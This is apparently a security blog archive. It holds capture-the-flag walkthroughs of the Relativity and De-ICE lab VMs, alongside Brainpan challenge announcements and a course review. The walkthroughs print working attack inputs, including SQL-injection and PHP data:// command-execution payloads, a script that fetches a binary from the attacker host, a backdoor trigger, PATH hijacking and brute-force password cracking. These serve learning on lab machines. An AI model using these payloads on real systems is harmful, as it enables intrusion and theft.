Unicornscan is no longer packaged with Kali Linux 1.0. One of my scripts (onetwopunch.sh) happens to use it, so I went about building Unicornscan from source. I ran into a couple of snags when building it, but I've documented it here to make things easier for others.

Unicornscan requires flex which isn't installed in Kali Linux 1.0, so install it:


root@kali# apt-get install flex

This should install smoothly, and once it's, download the latest version of Unicornscan from http://www.unicornscan.org/. Unpack it and build as follows:


root@kali# ./configure CFLAGS=-D_GNU_SOURCE && make && make install

Once it's done, you'll find unicornscan in /usr/local/bin

↧

Brainpan hacking challenge

March 20, 2013, 5:28 pm

≫ Next: Thoughts on Offensive Security's Cracking the Perimeter course

≪ Previous: Building Unicornscan in Kali Linux 1.0

After attempting various hacking challenges, I was inspired to come up with my own. Brainpan is my attempt at a vulnerable virtual machine. Your goal is to break in and get root access.

By using this virtual machine, you agree that in no event will I be liable for any loss or damage including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of or in connection with the use of this software.TL;DR: If something bad happens, it's not my fault.

Brainpan has been tested and found to work on the following hypervisors:

VMware Player 5.0.1
VMWare Fusion 5.0
VirtualBox 4.2.8

Import brainpan.ova into your preferred hypervisor and configure the network settings to your needs. It will get an IP address via DHCP, but it's recommended you run it within a NAT or visible to the host OS only since it is vulnerable to attacks.

VulnHub has been kind enough to host the virtual machine, so many thanks to them! You can download it here: http://vulnhub.com/entry/brainpan_1,51/

↧

Thoughts on Offensive Security's Cracking the Perimeter course

October 28, 2013, 6:59 pm

≫ Next: Brainpan 2 Hacking Challenge

≪ Previous: Brainpan hacking challenge

Several months ago I signed up for Offensive Security's Cracking the Perimeter (CTP) course. Having successfully completed the course, I wanted to write a short review on it. CTP focuses primarily on Windows exploit development, while touching a little bit on web application hacking. As CTP is marketed as a non-beginner course, students must complete a registration challenge before they will be allowed to take the course. The challenge itself is relatively easy, if you've done any hacking before, or completed Penetration Testing with Backtrack (PWB), it should be pretty straightforward.

30 days is more than enough time to complete the course modules. There are nine modules, and eight of them are short, taking less than an hour to go through. Exercises are provided at the end of each module, and I highly recommend doing them. You'll be given VPN access to the CTP lab, so make good use it to practice what you learn. To give you a better idea of how quickly it takes to go through the material, I did it at a relaxed pace of one module a day and finished with one week to spare.

The certification challenge is 48 hours long, requiring the student to complete several challenges in order to become OSCE (Offensive Security Certified Expert) certified. To prepare for this, I spent a few weeks recreating exploits on Exploit-DB, practicing with different fuzzers, and trying to find bugs. The exam itself is not hard, but it is tricky. I solved all but one challenge, and unfortunately, didn't score enough points on the exam to pass. I was slightly disappointed, but it was a great challenge, and within a month, I had booked a retake. The second time around, I completed all the challenges and received a congratulatory email informing me that I had obtained the coveted OSCE certificate.

So what do you need to know to get the most out of the course?

You should know enough assembly to be able to write simple programs. You will be looking at a lot of assembly, so you might as well be able to understand most of it. Assembly Language Step-By-Step is a great beginner's book.
Be familiar with either OllyDbg or ImmunityDebugger. I suggest learning keyboard shortcuts. You will be using it a lot.
You should be familiar with exploiting vanilla stack buffer overflows. If not, head over to Exploit-DB and download vulnerable applications and practice.
Have some basic knowledge on web application hacking. Much like the last point, if you're lacking in this department, practice.

For everything else, you'll learn it as you go through the course material. With regards to additional material, I suggest reading through Corelan's first nine tutorials. For practice, Exploit-DB is a great resource, as well as OverTheWire, SmashTheStack, and Pentester Lab.

CTP is a great course, with a fun and challenging exam. If you're interested in learning more about exploitating Windows applications, this is a great course to start with.

↧

Brainpan 2 Hacking Challenge

November 19, 2013, 3:32 am

≫ Next: Brainpan 2 contest winner

≪ Previous: Thoughts on Offensive Security's Cracking the Perimeter course

When I initially created Brainpan, my intent was to give back to the community with something fun and challenging. It didn't occur to me that others would find it so enjoyable that they would want more. I had a blast creating the first challenge, and so I thought, "What the hey, let's create a second one!". And so I present, Brainpan 2. Your goal is to break into the server and read the contents of /root/flag.txt

To top it off, VulnHub has been kind enough to not only host the virtual machine, but to award a prize for the best written solution to Brainpan 2! The contest begins on November 20th, and ends on December 4th. Brainpan 2 will be available for download at VulnHub when the contest begins. For further details, head over to http://blog.vulnhub.com/2013/11/competition-brainpan-2.html

Now as before, the obligatory disclaimer: By using this virtual machine, you agree that in no event will I be liable for any loss or damage including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of or in connection with the use of this software. TL;DR: If something bad happens, it's not my fault. Brainpan 2 has been tested and found to work on the following hypervisors:

VMware Player 6.0.1
VMWare Fusion 6.0.2
VirtualBox 4.3.2

Import brainpan2.ova into your preferred hypervisor and configure the network settings to your needs. It will get an IP address via DHCP, but it's recommended you run it within a NAT or visible to the host OS only since it is vulnerable to attacks.

↧

Brainpan 2 contest winner

December 9, 2013, 12:46 pm

≫ Next: Creating a virtual machine hacking challenge

≪ Previous: Brainpan 2 Hacking Challenge

We have a winner! Congratulations to Matt Andreko for the best writeup. You can read his writeup here, and the offical announcement here.

Thanks also to VulnHub for hosting the contest and providing the prizes!

↧

Creating a virtual machine hacking challenge

December 9, 2013, 9:11 pm

≫ Next: Relativity hacking challenge

≪ Previous: Brainpan 2 contest winner

After recently releasing the Brainpan 2 hacking challenge, a handful of people asked me for tips on how to create their own hacking challenge. These virtual machine hacking challenges, more commonly known as boot2roots, are relatively easy to make, but cat be somewhat time consuming. In this post, I'd like to share some tips on how to roll out your own boot2root.

It begins with an idea; think of a challenge (or a set of challenges), that you'd like a player to solve. A goal should be set, such as obtaining root access on the virtual machine, or getting access to a flag. The challenges that you come up with, will define the difficulty level of the boot2root. In my experience, boot2roots geared towards beginners usually come with software that has a well documented vulnerability and exploit. More difficult ones require players to identify vulnerabilities in custom software, or to leverage difficult to find holes on the target, or a combination thereof. Keep in mind that the more difficult the challenge, the more time you'll be spending creating it and testing it. I think a good challenge is one that causes a bit of frustration to the player, but will in return provide a great sense of satisfaction once it's solved.

Once you've come up with the challenge, you need to decide what operating system to host the challenge on, and what hypervisor to host the operating system on. Linux is a popular choice for several reasons; it's free and redistributable, you can create a fully operational server without paying a dime, you can keep it small which makes it more download-friendly, and there are so many different kinds to choose from. Obviously you should be careful about installing software that is not redistributable. Always check the license! Microsoft Windows operating systems are not redistributable, however there is a way around that.

With regards to the hypervisor, I prefer creating my boot2roots using VMware ESXi and exporting it into an OVA file. OVAs can be imported by all incarnations of VMware, and by VirtualBox. I think it's important to make sure that your boot2root can be imported by the majority of people using hypervisors that are available to different platforms. Whatever hypervisor you choose, you should try to test it on the popular ones such as VMware Player and VirtualBox - both of which are free.

Once you have your boot2root all packaged up, you should test it! Make sure your challenges can be solved, and that everything works as it should. You may find some bugs and have to redo your boot2root. I found this to be the most time consuming stage. In the end, I still missed a couple of things that made Brainpan 2 a wee bit easier, so it's a good idea to have someone else test your boot2root. A fresh set of eyes can help find some bugs.

When you're satisfied with everything, it's time to make your boot2root public! Announce it on Twitter, your blog, IRC, whatever. VulnHub makes a slew of boot2roots available so you should definitely consider having it hosted there.

Hopefully this little guide will be useful to others thinking of creating their own boot2root. It's a time consuming process, but it's very rewarding to see others enjoying a good challenge that you created.

↧

Relativity hacking challenge

December 11, 2013, 9:14 pm

≫ Next: De-ICE hacking challenge: Part 4

≪ Previous: Creating a virtual machine hacking challenge

Several weeks ago, Sagi released his own challenge named Relativity to the public. It had been a while since I'd done a good boot2root, and so eager for a challenge, I grabbed it off VulnHub and loaded it into VMware.

For this challenge, I used Kali Linux, but you can use whatever you like. Once Kali and Relativity were both up and running, I used netdiscover to identify the IP address assigned to Relativity. In this case, it was 192.168.1.133.

I usually start off with a port scan. I saved the IP address into a file called t.txt and passed it to onetwopunch.sh.

After several minutes, three open TCP ports were identified:

While onetwpunch.sh started scanning for UDP ports, I started enumerating each of these open TCP ports, starting with SSH.

I simply attempted to login as the root user to see what would happen

Looks like password authentication had been disabled. In order to login, I would need to obtain the user's private key. SSH seemed a dead end for now, so I moved on to the next port, FTP.

I attempted an anonymous login, but it failed with the following results:

So anonymous logins were also disabled. On top of that, the FTP server provided no information about its make or version. However, not all was lost, as it did report that it was using mod_sql. A quick search on Google revealed an interesting mod_sql injection that could be used to bypass authentication: http://archives.neohapsis.com/archives/bugtraq/2009-02/0076.html.

The article reports that the authentication bypass occurs when the password is set to 1, and the username is set to

USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --

The initial attempt at trying this failed, until I changed the comment -- to #. At that point, I was able to login to the FTP server:

I explored the FTP server and found a directory called 0f756638e0737f4a0de1c53bf8937a08.

This directory contained several PHP files. Unfortunately I couldn’t download any of them due to permission settings on the directory and the files. This in turn led me to enumerating the last open TCP port 80 that nmap discovered.

The webpage at http://192.168.1.133 only displayed an image. The source code implied that this was the index.html and artwork.jpg files that were in the FTP server. Assuming that was true, http://192.168.1.133/0f756638e0737f4a0de1c53bf8937a08 should display the index.php file:

Each of the links under menu referenced a PHP file that was loaded onto the page when it was clicked. My first thought was it might be vulnerable to some form of file inclusion. When a link is clicked, the URL becomes

http://192.168.1.133/0f756638e0737f4a0de1c53bf8937a08/index.php?page=definition.php

My first attempt was to see if I could load /etc/passwd using the following:

http://192.168.1.133/0f756638e0737f4a0de1c53bf8937a08/index.php?page=../../../../../../etc/passwd

However this didn’t seem to do anything. I tested to see if I could do a remote file inclusion:

http://192.168.1.133/0f756638e0737f4a0de1c53bf8937a08/index.php?page=http://192.168.1.130/test.txt

At this point, it looked as though it was attempting to connect to my machine, but it eventually timed out. Perhaps some kind of firewall in place.

The next thing I tried was to see if I could use the PHP data stream to execute commands on the server. I tried to run the uname -a command:

http://192.168.1.133/0f756638e0737f4a0de1c53bf8937a08/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E

It worked! At this point I had remote command execution which I used to further enumerate the server. By reading the contents of /etc/passwd I found two users on the server; jetta and mauk. Reading /etc/*relea* revealed that the server was running RedHat Fedora 17. Using netstat I found two TCP ports, 3306 and 6667, bound to 127.0.0.1 More interestingly, listing the permissions in /home showed that user mauk’s home directory was readable. Listing the contents of /home/mauk returned the following:

The private and publish SSH keys are readable. Having established that a private key is required to login to the server, I thought it was worth a try to download mauk's id_rsa and see if I could use that to get a proper shell. id_rsa contains the following:

Having saved this on my machine, I set it to read only permissions to prevent SSH from complaining and used it to login to the target:

Once logged in, the first thing I tried was sudo -l to see if I could run anything as root. Unfortunately this prompted me for a password which I didn't have, so I cancelled it. I decided to enumerate TCP ports 3306 and 6667 that were listening on 127.0.0.1.

Port 3306 was MySQL. I attempted to login as root using mysql and tried a few common passwords, but none of them worked.

Port 6667 is typically used by ircd. I wanted to connect to it but noticed that netcat wasn't installed on the server. Tools such as wget and curl were also missing to prevent file transfers. To get around this, I decided to just download netcat, build a statically linked version of it, and upload it to the target. I grabbed the source code for netcat 1.10 from http://sourceforge.net/projects/nc110/files/unix%20netcat%201.10%20by%20_Hobbit_/

A few changes needed to be made to get it to compile without errors. I commented out line 1319 in netcat.c:

Next, I modified the Makefile and added -DGAPING_SECURITY_HOLE to the XFLAGS in line 70:

Finally I built it using make linux. Now that netcat was compiled, I needed a way to transfer it. Fortunately python was installed on the server. I wrote the following python script which would download the statically linked netcat to the target:

#!/usr/bin/python
import urllib2, urllib, sys
urllib.urlretrieve("http://192.168.1.130/" + sys.argv[1], sys.argv[1]);

I saved this as grab.py. Finally I copied netcat to /var/www on my machine and start the Apache webserver. Using grab.py, I transferred netcat over:

After that little detour I was finally able to connect to port 6667. It definitely appeared to be ircd but provided very little information:

With not much to go on from the output, I used ps and located the ircd process. It was running as user jetta and was in /opt/Unreal/src

Unfortunately mauk had no permission to read /opt/Unreal so I was unable to get more information about the process. Hitting up Google, I found reports that some versions of Unreal ircd was backdoored: http://blog.stalkr.net/2010/06/unrealircd-3281-backdoored.html. I thought it was worth a shot.

Triggering the backdoor was simple. I just had to send the string "AB;" followed by the command to execute. Using my copy of netcat on the target, I tried to use the backdoor to create an empty file /tmp/pwnd:

It worked! The file was created and owned by user jetta. Using netcat on the server, I was able to setup a reverse shell which gave me shell access as user jetta:

I was now logged in as jetta. As before, I tried sudo -l but it complained that I didn’t have a tty. No problem, I could create one using python:

Looks like jetta can run something called auth_server using sudo without being prompted for a password. I ran this program to see what it did:

It looked like the program attempted to connect to some server and then failed. I used the strings command on the auth_server binary to see if I could get more information out of it.

The fortune command is executed and piped to /usr/bin/cowsay. What makes it interesting is that an absolute path to fortune isn’t provided, which meant I could update my PATH variable so that it executed my own version of fortune, rather than the one in /usr/bin.

I modified jetta’s PATH to start with /home/jetta and created /home/jetta/fortune which contained the following:

#!/bin/bash
/bin/bash

Executing sudo ./auth_server now presented me with a root shell. Sort of.

The problem was that no output was returned to any commands I typed, until I exited the shell. This was because the output was being piped to the cowsay commands. However, the output printed by cowsay definitely confirmed that I was running commands as root. No problem, I started up auth_server again with sudo, and created a reverse shell back to my machine, which gave me a proper root shell:

Game over at this point. Reading /root/flag.txt shows the contents 65afa0e5928b98f7ae283e16df2d43bf
Just for kicks, I googled the hash which and found it in here: http://hash-killer.com/dict/6/5/a/f
It’s a hash of sagishahar, the author of the challenge.

This was an enjoyable boot2root. A notch harder than most beginner ones out there, but then where's the fun if it's too easy? A thank you goes out to Sagi for creating this (and here's hoping for more to come), and to VulnHub for making it available to everyone.

↧

De-ICE hacking challenge: Part 4

December 13, 2013, 11:16 am

≫ Next: De-ICE hacking challenge: Part 5

≪ Previous: Relativity hacking challenge

This is a quick walkthrough on solving the De-ICE S1.120 A challenge which can be downloaded here: http://vulnhub.com/entry/de-ice_s1120-a,10/. Interestingly, I wasn't aware that this boot2root even existed until a couple of nights ago when someone mentioned it on IRC. After doing a bit of searching, it turns out there are at least three that I haven't had a go at popping. So with that in mind, I decided to load up S1.120 A and take the challenge.

De-ICE S1.120 A has a static IP address of 192.168.1.120, so configure your network accordingly to acommodate it. I ran a thorough port scan on the server to identify open TCP and UDP ports:

After a few minutes, TCP ports 21, 22, and 80 were identified, and no UDP ports were found to be open. I fired up my web browser and navigated to http://192.168.1.120 to have a look at the website.

The hyperlinks at the bottom of the wepbage allowed the user to add items into the database and to view items that were in the database. I examined each of these starting with the Add Product link.

I added some random product to see what would happen. I submitted the form and got confirmation that it was added into the database. Since I added text to the price field instead of a numerical price, it just set it to $0.00.

Moving on to the View Products page, I noticed that the dropdown menu had the item that I just added.

Clicking submit returned the information for that item, which was basically what I had entered earlier.

One interesting thing I noticed was the URL had changed to the following:

http://192.168.1.120/products.php?id=1

I had a hunch there might be some SQL injection vulnerability on the target, so I started enumerating it manually at first, but got no results. Thinking it might be vulnerable to blind SQL injection, I fired up sqlmap to do the heavy lifting for me.

I ran a simple scan just to see if this worked:

Sure enough, the id parameter was vulnerable to SQL injection, and sqlmap identified the database as MySQL 5.1.33.

I followed up by dumping usernames and hashes:

A huge number of users were identified:

[11:44:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.11, PHP 5.2.9
back-end DBMS: MySQL 5.0.11
[11:44:36] [INFO] fetching database users
database management system users [50]:
[*] 'aadams'@'localhost'
[*] 'aallen'@'localhost'
[*] 'aard'@'localhost'
[*] 'aharp'@'localhost'
[*] 'aheflin'@'localhost'
[*] 'amaynard'@'localhost'
[*] 'aspears'@'localhost'
[*] 'aweiland'@'localhost'
[*] 'bbanter'@'localhost'
[*] 'bphillips'@'localhost'
[*] 'bwatkins'@'localhost'
[*] 'cchisholm'@'localhost'
[*] 'ccoffee'@'localhost'
[*] 'dcooper'@'localhost'
[*] 'dgilfillan'@'localhost'
[*] 'dgrant'@'localhost'
[*] 'djohnson'@'localhost'
[*] 'dstevens'@'localhost'
[*] 'dtraylor'@'localhost'
[*] 'dwestling'@'localhost'
[*] 'hlovell'@'localhost'
[*] 'jalcantar'@'localhost'
[*] 'jalvarez'@'localhost'
[*] 'jayala'@'localhost'
[*] 'jbresnahan'@'localhost'
[*] 'jdavenport'@'localhost'
[*] 'jduff'@'localhost'
[*] 'jfranklin'@'localhost'
[*] 'kclemons'@'localhost'
[*] 'krenfro'@'localhost'
[*] 'ktso'@'localhost'
[*] 'kwebber'@'localhost'
[*] 'lmartinez'@'localhost'
[*] 'lmorales'@'localhost'
[*] 'mbryan'@'localhost'
[*] 'mholland'@'localhost'
[*] 'mnader'@'localhost'
[*] 'mrodriguez'@'localhost'
[*] 'myajima'@'localhost'
[*] 'qpowers'@'localhost'
[*] 'rdominguez'@'localhost'
[*] 'rjacobson'@'localhost'
[*] 'rpatel'@'localhost'
[*] 'sgains'@'localhost'
[*] 'sjohnson'@'localhost'
[*] 'strammel'@'localhost'
[*] 'swarren'@'localhost'
[*] 'tdeleon'@'localhost'
[*] 'tgoodchap'@'localhost'
[*] 'webapp'@'localhost'

sqlmap asked if I wanted to save the hashes for later cracking, to which I did. I wanted to crack these myself with john

The hashes were saved to /tmp/sqlmaphashes-OIvzPL.txt. I fired up john against the hash file and within a few seconds, 46 of the 50 hashes had already been cracked:

If all of these users had the same password for their SSH login, and if they had user accounts on the server, then I should be able to login now. I picked the first user on the list of cracked accounts, dwestling with password 123456 and logged in usng SSH:

This user had no sudo privileges, but with a shell on the target, I was able to do some more enumeration. Looking at the contents of /etc/group, I noticed that user ccoffee was part of the admin group.

I checked the cracked passwords, and found that ccoffee's password was master. I logged out the current SSH session and logged back in as ccoffee. Checking sudo -l revealed that ccoffee could run a script getlogs.sh as root:

Running getlogs.sh returns the word "wrong". Unfortunately the permissions on the script prevented me from checking to see what it actually did. It occured to me that I didn't actually need to know what this script did, I could simply replace it with something else. I had write access to the /home/ccoffee/scripts directory, so I simply renamed it and created my own scripts directory with a getlogs.sh symlink to /bin/sh

Having symlinked /bin/sh to getlogs.sh, I executed sudo scripts/getlogs.sh and obtained my root shell:

I wasn't sure what the end goal of this challenge was. According to the flags section in VulnHub, it says various "internal documents". As root I found a personnel.doc in /home/ktso, and a bunch of other text files scattered around other user's home directories.

Overall this was an easy challenge, which makes it well suited for beginners. I would say having a good knowledge of Linux and the basics of hacking techniques and tools would be enough to complete it.

↧

De-ICE hacking challenge: Part 5

December 14, 2013, 10:24 pm

≫ Next: De-ICE hacking challenge: Part 6

≪ Previous: De-ICE hacking challenge: Part 4

This is a walkthrough for the De-ICE S1.120-1 B challenge, which can be downloaded here: http://vulnhub.com/entry/de-ice_s1120-b,11/. The author describes this challenge as "moderately difficult". Itching for a good challenge, I decided to see if it lived up to its difficulty level.

Using netdiscover, I identified the target's IP address as 192.168.1.20. I started off by running a portscan against it.

A good handful of open TCP ports were detected. I started off by browsing to the website. This gives a brief description about the challenge, and a link to the actual webpage for the challenge:

This page contained some information that could be used for enumerating, namely a contact address and a phone number.

I ran nikto against this website and it uncovered a info.php page, which identified the target as running Linux 2.6.16, among other things.

Thinking that there might be some hidden directories, I ran wfuzz on the target, but it didn't find anything. At this point, I decided to move on to the next service, FTP on port 21.

Anonymous FTP was allowed, however the service itself seemed to be broken. After logging in, the server would throw an error whenever I entered a command.

This seemed to be another dead end. The other services, with the exception of SMTP, would require user credentials in order make use of them. I looked around for vulnerabilities affecting the other services but found nothing that would help me get a shell.

From the webpage, I knew there was a customerserviceadmin user, so I decided to see if that was a valid user. The easiest way to do that was through SMTP.

I created a file called smtp.txt containing the following users:

customerserviceadmin
root
superkojiman

My own username was added to the list purely as a control element, as will become clear shortly. For enumerating users in SMTP, I used smtp-user-enum. I started off by using VRFY to check for users:

smtp-user-enum claims that all users exist, which couldn't be true as I was fairly certain there was no superkojiman user account on the server. This is what I meant by using my username as a control element. The VRFY method obviously didn't work, so I tried RCPT next:

Much better, this time only root was detected. However customerserviceadmin was not detected, which implied that user did not exist on the target, or a different username was assigned to the Customer Service Admin account. Previously, I had obtained a list of usernames from another De-ICE challenge, so I thought I would try that. Unfortunately, it returned no results. I decided to try different variations of customerserviceadmin instead. Off the top of my head, I made a quick list:

custserviceadmin
custservadmin
custservadm
customerserviceadm
customerservadm
customersa
customerservicea
customerserva
custserva
cserviceadmin
cserviceadm
cservadmin
cservadm
csadmin
csadm
csa

Fingers crossed, I ran this against smtp-user-enum once again, and got a hit!

The account csadmin was discovered on the target. With nothing else to go on, I had to resort to a brute force attack. I selected a wordlist containing the top 1000 popular passwords knowing that it would finish relatively quickly and if csadmin's password was simple, it was likely to be in there. Sure enough, the password for csadmin was found in a matter of minutes:

I used the password to login to the target and found two files in csadmin's home directory:

The file mailserv_download/2010122014234.j12Gqo4H049241 was an email from the sdadmin user account to the csadmin user. The email was an invitation to sdadmin's son's birthday party:

To: csadmin@nosecbank.com
CC: 
Subject: My Son's Birthday
Date: Mon, 20 Dec 2010 14:23:46 +0500
Return-Path: <sdadmin@nosecbank.com>
Delivered-To: csadmin:nosecbank.com@nosecbank.com
Received: (qmail 20281 invoked from network); 20 Dec 2010 09:23:46 -0000
X-Received: from network (192.168.1.123) by mailserv1-3.us6.service.com; 
20 Dec 2010 09:23:46 -0000
Received: from www.nosecbank.com (unknown [198.65.139.34]) by 
srv5.us6.service.com (Postfix) with ESMTP id D98402459DD for 
<csadmin@nosecbank.com>; Mon, 20 Dec 2010 09:23:46 +0000 (GMT)
Message-Id: <2010122014234 data-blogger-escaped-.j12gqo4h049241="" data-blogger-escaped-www.nosecbank.com="">
Mime-Version: 1.0
Content-Type: multipart/alternative; 
boundary="---=_NextPart_000_0000_02F24S11.FEPQRE80"
X-Mailer: K-Mail; Build 1.0.5510
Thread-Index: Qw2cWVmE3odZs3TqTTqFvS1e3lexms==
Message: Hey Mark, I am curious if you would be free to come over and 
visit for my son Donovin's birthday tomorrow after work.  I would also 
appreciate if you brought Andy with you as well, because Donny 
really enjoyed playing with him last time he was over.  I know its short 
notice but he is turning 12 and it is special for both him and me. Let 
me know if this works. Thanks!  -Paul

The second file, 2010122216451.f81Ltw4R010211.part2 appeared to be some binary file that contained some bits of code:

At this point I wasn't aware of what the code was for, so I went ahead and explored the server for more clues.

I found three other users on the server, sdadmin, sysadmin, and dbadmin. I also discovered an encrypted file in /home/ftp/incoming called useracc_update.csv.enc

In order to decrypt this, I would need to know the cipher used to encrypt it, and the password. This is very much like the first De-ICE Level 1 challenge.

After looking around and finding nothing to elevate my privileges, I decided to take a closer look at the email in csadmin's home directory. Several bits of information could be gathered from this email:

Paul has a son Donovin
Donovin's birthday is tomorrow. The email was sent on Dec 20 2010, which means his birthday is Dec 21
Donovin is 12 years old, which makes the year he was born 1998

I thought this information might be useful in guessing the password for the sdadmin account. To do this, I used the Common User Password Profiler script. This didn't seem to be available in Kali Linux by default, so I just grabbed it from http://www.remote-exploit.org/articles/misc_research__amp_code/index.html. I launched the script and entered whatever information I knew:

5,486 potential passwords were generated. Once again, it's back to hydra for more password guessing. This time, using sdadmin.txt as the wordlist. It took a bit longer than the first previous time, but it identified the password for sdadmin as donovin1998:

I used the newly obtained password to login as sdadmin. Much like the csadmin account, the sdadmin user also has two similar files; an email and a data dump containing some code fragments.

I had a feeling the email would probably contain a clue that would allow me to elevate my privileges or switch to another user account:

To: sdadmin@nosecbank.com
CC: 
Subject: RE: My Son's Birthday
Date: Mon, 20 Dec 2010 15:04:32 +0500
Return-Path: <csadmin@nosecbank.com>
Delived-To: sdadmin:nosecbank.com@nosecbank.com
Received: (qmail 20281 invoked from network); 20 Dec 2010 10:04:32 -0000
X-Received: from network (192.168.1.123) by mailserv3-4.us6.service.com; 
20 Dec 2010 10:04:32 -0000
Received: from www.nosecbank.com (unknown [198.65.139.32]) by 
srv3.us6.service.com (Postfix) with ESMTP id D98214787FD for 
<csadmin@nosecbank.com; Mon, 20 Dec 2010 10:04:32 +0000 (GMT)
Message-Id: <2010122015043 data-blogger-escaped-.j15htu1h341102="" data-blogger-escaped-www.nosecbank.com="">
Mime-Version: 1.0
Content-Type: multipart/alternative; 
boundary="---=_NextPart_000_0000_05F11S20.FGHZWE49"
X-Mailer: K-Mail; Build 1.0.5510
Thread-Index: Aa5fqAwT8nsBe3T3T5q67a3Fd22XsZ==
Message: Hey there Paul!  I would gladly bring myself and my son over 
tomorrow after work!  I would only be hesitant to come over if you 
invited Fred over too... He just freaks me out sometimes.  It doesnt 
help that he locks himself up in his office and is anti-social during 
lunch hours... On top of that he calls himself the "databaser"!  I mean, 
who in thier right mind does that?  Either way, I will most likely be 
there tomorrow.  I look forward to it!   -Mark

The password "databaser" seemed to go hand-in-hand with the dbadmin user. Of course it didn't work when I tried it, which meant there was probably more brute forcing required. Once again, I fired up cupp.py and entered some information about the dbadmin user that I obtained from the email:

This time it generated 2,568 possible passwords. I fired up hydra and after a few minutes, a password for dbadmin was found:

I logged in to the server as dbadmin using the password databaser60. Unlike the other two accounts, this one only had a data file containing code fragments. Each of the code fragments I'd found in all three accounts had some identifying name to them, namely, part 1, part 2, and part 3. Based on the information in part 3, this program was used to create the passwords for the root and sysadmin accounts. If I could piece it back together, I should be able to use it to get those passwords.

Using the strings command, I was able to quickly view the relevant parts that I needed to copy. The code appeared to be Java, so I put them into a Decoder.java file. I added a main() function, fixed a couple of compilation errors, and ended up with the following:

public class Decoder {
 // PART 1

 int[] processLoop(String input){ 
  int strL=input.length();
  int lChar=(int)input.charAt(strL-1); 
  int fChar=(int)input.charAt(0); 
  int[] encArr = new int[strL+2]; 
  for(int i=1;i < strL+1;i++){ 
   encArr[i]=(int)input.charAt(i-1);} 
  encArr[0]=(int)lChar; 
  encArr[encArr.length-1]=(int)fChar; 
  encArr=backLoop(encArr); 
  encArr=loopBack(encArr); 
  encArr=loopProcess(encArr); 
  int j=encArr.length-1; 
  for(int i=0;i < encArr.length;i++){ 
   if(i==j) break;
   int t=encArr[i]; 
   encArr[i]=encArr[j]; 
   encArr[j]=t;j--;}
  return encArr;} 

 /*
  * Note the pseudocode will be implemented with the  
  * root account and my account, we still need to implement it with the csadmin, sdadmin, 
  * and dbadmin accounts though
  */ 

 // PART 2
 int[] backLoop(int[] input){ 
  int ref=input.length;
  int a=input[1]; int b=input[ref-1]; 
  int check=(a+b)/2; 
  for(int i=0;i < ref;i++){ 
   if(i%2==0) input[i]=(input[i]%check)+(ref+i); 
   else input[i]=(input[i]+ref+i);}
  return input;} 
 int[] loopProcess(int[] input){  
  for(int i=0;i < input.length;i++){ 
   if(input[i]==40||input[i]==41) input[i]+=input.length; 
   else if(input[i]==45) input[i]+=20+i;} 
  return input;} 


 // PART 3
 int[] loopBack(int[] input){ 
  int ref=input.length/2; 
  int[] encNew =new int[input.length+ref]; 
  int ch=0; 
  for(int i=(ref/2);i < input.length;i++){ 
   encNew[i]=input[ch]; ch++;} 
  for(int i=0;i < encNew.length;i++){ 
   if(encNew[i]<=33) encNew[i]=33+(++ref*2); 
   else if(encNew[i] >= 126) encNew[i]=126-(--ref*2); 
   else{ 
    if(i%2==0) encNew[i]-=(i%3); 
    else encNew[i]+=(i%2);}} 
  return encNew;}


 public static void main(String[] args) {
  Decoder d = new Decoder();
  int[] c = d.processLoop(args[0]); 
  for (int i = 0; i < c.length; i++)
   System.out.print((char)c[i]); 
 }
}

I compiled this and ran it to get the passwords for sysadmin and root.

I attempted to login as root over SSH, but that didn't work out. Perhaps root login over SSH was disabled, or the password was incorrect. I decided to try logging in as sysadmin next with the password 7531/{{tor/rv/A and was successful. Once I had a shell, I used su and the root password to get a root shell:

Game over? Not quite. I noticed that the sysadmin user had a file called Note_to_self. The contents state that the useracc_update.csv had been moved to the FTP server and encrypted for the dbadmin user. My initial assumption was to use the password databaser60 again, but first I had to figure out the cipher used to encrypt the file.

To do this, I just cycled through all the supported OpenSSL ciphers and saved the decrypted contents to a file, out.txt

I then ran out.txt through the strings command and piped everything to less. The idea was that if the password was correct, somewhere in that file would be some text that wasn't gibberish:

Unfortunately there was nothing that looked like decrypted text. It was likely that the password I was using was incorrect. Perhaps the root user's password was the correct one? I tried it again, using the password 31/Fwxw+2 and this time, found something interesting in the out.txt:

Using the aes-256-cbc cipher and the root password, the encrypted text was successfully decrypted revealing the user account information. Finally, game over at this point.

This challenge seemed to focus more on brute force attacks and password guessing. For beginners, this challenge would be a good exercise in information gathering techniques and creating and using different wordlists. With regards to difficulty, it's not that much more difficult than the other De-ICE challenges, but it does require a bit of programming knowledge to fix-up the scattered code fragments on the server.

↧

De-ICE hacking challenge: Part 6

December 28, 2013, 9:46 am

≪ Previous: De-ICE hacking challenge: Part 5

This is a walkthrough on De-ICE S1.140, available for download at VulnHub. This release was much anticipated and took a while to get released to the public. It's a little tougher than the previous De-ICE challenges, but uses a similar formula of password cracking and guessing.

After booting up the De-ICE virtual machine, I used netdiscover and identified the target's IP address as 192.168.1.146. I copied the IP address into a file, t.txt, and passed it into onetwopunch.sh for a full TCP and UDP port scan:

Several services were found running: FTP, SSH, HTTP, IMAP, and POP3. I pointed my web browser to http://192.168.1.146 and was greeted by a the Lazy Admin Corp. webpage:

Aside from some hints for completing the challenge, there wasn't much else on the webpage. At this point I fired up nikto and wfuzz to enumerate the website further.

Both programs identified a new resource, /forum. Navigating to it, I found a web forum powered by my little forum. I did a quick search online for any vulnerabilities affecting this version of my little forum but found nothing of use.

Looking through the forum threads, I discovered that one of the users, Sandy Willard used to have a different surname, Raines. I also found a thread containing a snapshot of what appeared to be an SSH log on the server. There were several user names on the list, and I thought it might be a good idea to just pull them out and pop them into a text file in case I needed to use it for hydra. I wrote a quick shell script to do this, but the results produced a little gem:

One of the user names recorded in the log was !DFiuoTkbxtdk0!. This appeared to be a password. Most likely the user attempted to SSH in, but typed his password first instead of his user name. Looking at the log again, I noticed that there was only one successful login, which was from user mbrown

Naturally the first thing I did was to attempt to SSH to the server. This failed miserably, with the SSH server disallowing password authentication. I needed an SSH key to login to the server. I compiled a list of users based on the names I gathered on the forum and tried to see if I had access to their home directories, eg: http://192.168.1.146/~mbrown/.ssh. This exercises proved to be in vain.

I attempted to login to the forum as mbrown with the password I found, and it worked. I explored the forum a little bit more as an authenticated user, and found mbrown's email address on his profile page:

